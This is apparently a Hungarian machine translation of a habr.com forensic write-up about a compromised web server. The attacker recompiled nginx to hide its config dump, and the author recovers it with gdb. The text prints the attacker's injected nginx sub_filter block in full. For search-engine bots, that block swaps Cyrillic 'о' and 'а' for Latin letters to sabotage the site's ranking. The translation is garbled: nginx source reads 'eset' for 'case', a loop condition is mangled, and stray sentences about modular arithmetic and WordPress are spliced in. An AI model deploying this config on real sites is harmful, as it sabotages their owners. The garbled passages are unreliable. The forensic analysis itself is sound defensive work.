Amikor 'a' nem egyenlő 'a'-val. Egy hackelés nyomában

Egy nagyon kellemetlen történet történt egy ismerősömmel. De amennyire kellemetlen volt Mihálynak, annyira szórakoztató volt számomra.

Meg kell mondanom, hogy a barátom teljesen rendben van. UNIX-felhasználó: képes saját magának telepíteni a rendszert, installálni mysql, php és végrehajtani a legegyszerűbb beállításokat. nginx.
Van neki egy tucat vagy másfél weboldala, amelyek az építőipari szerszámokkal foglalkoznak.

Egyik ilyen oldal, amely láncfűrészekkel foglalkozik, szorosan benne van a keresők TOP-ban. Ez az oldal nem kereskedelmi jellege miatt tesztelési célokat szolgál, de valakinek szúrta a szemét, ezért elkezdték támadni. Egyik nap DDoS, másik nap brute force támadás, néha pedig kéretlen hozzászólásokat írnak, és panaszokat küldenek a hostingnak és a RKN-nek.
Hirtelen minden elhallgatott, és ez a csönd nem ígért semmi jót, az oldal kezdett fokozatosan eltűnni a keresési találatok éléről.

Amikor 'a' nem egyenlő 'а'-val. Egy hackelés nyomán

Ez csak egy bevezetés volt, most következik a rendszergazdai mese.

Az idő közelített az alváshoz, amikor megszólalt a telefon: „Sanyi, megnéznéd a szerveremet? Úgy érzem, hogy feltörtek, bizonyítani nem tudom, de már három hete kísért ez az érzés. Talán csak ideje lenne gyógyulnom a paranoia ellen?”

Ezután egy fél órás beszélgetés következett, amely röviden így foglalható össze:

  • a feltörésre való lehetőség igencsak kedvező volt;
  • a betörő szuperfelhasználói jogokat szerezhetett;
  • a támadás (ha volt ilyen) célzott volt, és kifejezetten erre az oldalra irányult;
  • a problémás helyek kijavítva, csak azt kellene kideríteni, hogy történt-e behatolás;
  • a feltörés nem érhette a weboldal kódját és az adatbázisokat.

A legutóbbi pontról.

Amikor 'a' nem egyenlő 'а'-val. Egy hackelés nyomán

A világ felé csak a frontend fehér IP-je néz. A backendek és a frontend között nincs más kommunikáció, csak http(s), a felhasználók/jelszavak eltérnek, a kulcsokat nem cserélték. A szürke címeken minden port, a 80/443 kivételével, zárva van. A backendek fehér IP-jei csak két felhasználó számára ismertek, akikben Mihály teljes mértékben megbízik.

A frontend fel van szerelve Debian 9 és a telefonhívás idejére a rendszer izolálva van a világtól egy külső tűzfalszoftver segítségével, és leállítva.

„Ok, add meg a hozzáférést; elhatároztam, hogy egy órára elhalasztom az alvást. – Megnézem a saját szememmel.”

Itt és később:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

A lehetséges feltörés nyomában

Elindítom a szervert, először rescue-mode. A lemezeket csatolom, átnézem az auth-naplókat, history, a rendszer naplóit és a többit, ha lehetséges, ellenőrzöm a fájlok létrehozásának dátumát, bár értem, hogy egy normális betörő "eltüntetné" a nyomokat, és Misha már jócskán "talpalta" addig, míg ő maga kereste.

Normál módban kezdek, nem igazán értem, mit keresek, tanulmányozom a konfigurációkat. Elsősorban az érdekel, nginx mivel igazából a frontenden kívül nincs is más.
A konfigurációk kicsik, jól strukturáltak, tíz fájlban, egyszerűen átnézem őket cat’egyenként. Úgy tűnik, minden tiszta, de ki tudja, hogy kihagytam-e valamit, include, készítek egy teljes listázást:

$ nginx -T
nginx: a konfigurációs fájl /usr/local/etc/nginx/nginx.conf szintaxisa rendben van
nginx: a konfigurációs fájl /usr/local/etc/nginx/nginx.conf teszt sikeres

Nem értem: "Hol a listázás?"

$ nginx -V
nginx verzió: nginx/1.10.3
TLS SNI támogatás engedélyezve
konfigurálási argumentumok: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

A listázás kérdéséhez egy másik fűződik: "Miért ilyen régi az nginx verziója?"

Ráadásul a rendszer azt hiszi, hogy frissebb verzió van telepítve:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          kis, erőteljes, skálázható web/proxy szerver

Felhívom:
— Misha, miért recompiláltad? nginx?
— Nyugodj meg, még csak azt sem tudom, hogyan kellene csinálni!
— Ok, hát, aludj…

Nginx egyértelműen recompilált és a "-T" szerinti listázás eltüntetése nem véletlen. Már nincs kétségem a betörésről, és ezt el lehet fogadni, és (miután Misha úgyis kicserélte a szervert egy újra) a problémát megoldottnak lehet tekinteni.

És valóban, ha valaki már megszerezte a jogokat, , felhasználó nevében fut, mivel alapvető rendszerbeállításokat módosítanak, de a WordPress közvetlenül egy normál felhasználóként működik.akkor érdemes csak a rendszer újratelepítése, és felesleges keresni, hogy mit rontottak el, de most az kíváncsiság legyőzte az álmot. Hogyan tudhatnánk meg, mit akartak eltitkolni előlünk?

Megpróbáljuk nyomozni:

$ strace nginx -T

Nézzük, a nyomozásból nyilvánvalóan hiányoznak a következő sorok:

write(1, "/etc/nginx/nginx.conf", 21 /etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Kíváncsiságból összehasonlítjuk az eredményeket.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Azt hiszem, hogy a kód egy része /src/core/nginx.c

            eset 't':
                ngx_test_config = 1;
                break;

            eset 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

lett az alábbi formátumban:

            eset 't':
                ngx_test_config = 1;
                break;

            eset 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

vagy

            eset 't':
                ngx_test_config = 1;
                break;

            eset 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ezért a ‘-T’ opcióhoz tartozó lista nem jelenik meg.

De hogyan nézhetem meg a konfigurációnkat?

Ha az elképzelésem helyes, és a probléma csak a változóban van, ngx_dump_config próbáljuk meg beállítani ezt a gdb, szerencsére a kulcs —with-cc-opt -g jelen van, és reméljük, hogy az optimalizálás , ez az opció nélkül meglepetések várhatnak ránk a jövőben. Nézzük meg a kódunkat, sikerült-e megírnunk a kívánt programot? nem lesz hátrányos. Ezenkívül, mivel nem tudom, hogyan ngx_dump_config kezelhették ezt eset ‘T’:, ne hívjuk meg ezt a blokkot, hanem állítsuk be a eset ‘t’:

Miért használható a ‘-t’ az ‘-T’ mellett?A blokk feldolgozása if(ngx_dump_config) belül történik if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "a konfigurációs fájl %s tesztelése sikeres",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# konfigurációs fájl ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Természetesen, ha a kód ezen a részen változott, és nem a eset ‘T’:, akkor az én módszerem nem lesz megfelelő.

Teszt nginx.confA probléma gyakorlati megoldásával kiderült, hogy a rosszindulatú program működéséhez minimális konfiguráció szükséges, nginx az alábbi formátumban:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Ezt fogjuk röviden használni a cikkben.

Indítjuk a hibakeresőt

$ gdb --silent --args nginx -t
A szimbólumok beolvasása az nginx-ből... kész.
(gdb) break main
1. töréspont a 0x1f390-nál: fájl src/core/nginx.c, 188. sor.
(gdb) run
Program indítása: nginx -t
[Szál debuggolása a libthread_db használatával]
A host libthread_db könyvtár használata: "/lib/x86_64-linux-gnu/libthread_db.so.1".

1. töréspont, main (argc=2, argv=0x7fffffffebc8) a src/core/nginx.c:188-nél
188     src/core/nginx.c: Nincs ilyen fájl vagy könyvtár.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Folyamatos.
nginx: a konfigurációs fájl /etc/nginx/nginx.conf szintaxisa rendben van
nginx: a konfigurációs fájl /etc/nginx/nginx.conf teszt sikeres
# konfigurációs fájl /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# konfigurációs fájl /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) normálisan leállt]
(gdb) quit

Lépésről lépésre:

  • állítsuk be a töréspontot a fő függvényben main()
  • indítsuk el a programot
  • módosítva a konfigurációs kimenetet meghatározó változót ngx_dump_config=1
  • folytatjuk/elfelejtjük a programot

Ahogy látjuk, a valós konfiguráció eltér a miénktől, kiemelünk belőle egy parazita részt:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Nézzük át, mi történik itt.

Meghatározva User-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Kizárásra kerülnek a segédoldalak wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

és azok számára, akik mindkét fent említett feltétel alá esnek

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

a szövegben html-az oldal módosul ‘о’ Gyorsan emlékezzünk vissza, hogyan működik a moduláris aritmetika. Az óra már egy ismert koncepció. Az órák használata ‘o’ és ‘а’ Gyorsan emlékezzünk vissza, hogyan működik a moduláris aritmetika. Az óra már egy ismert koncepció. Az órák használata ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Pontosan, a lényeg csak annyi, hogy ‘а’ != ‘a’ ahogy ‘о’ != ‘o’:

Amikor 'a' nem egyenlő 'а'-val. Egy hackelés nyomán

Így a keresőmotorok botjai a normális 100%-os cirill szöveg helyett módosított, latin karakterekkel megszórt hulladékot kapnak. ‘a’ és ‘o’. Nem merem megmondani, hogy ez hogyan hat az SEO-ra, de valószínűleg egy ilyen betűkombináció nem fog pozitívan hatni a találati listák helyezésére.

Mit is mondhatnék, kreatív srácok.

Hivatkozások

Hibakeresés a GDB segítségével
gdb(1) — Linux kézikönyv
strace(1) — Linux kézikönyv
Nginx — ngx_http_sub_module modul
Fűrészekről, láncfűrészekről és elektromos fűrészekről

Forrás: habr.com

Megbízható hosting vásárlása weboldalak számára, DDoS védelemmel, VPS VDS szerverek. 🔥 Megbízható webtárhely vásárlása DDoS védelemmel, VPS VDS szerverek | ProHoster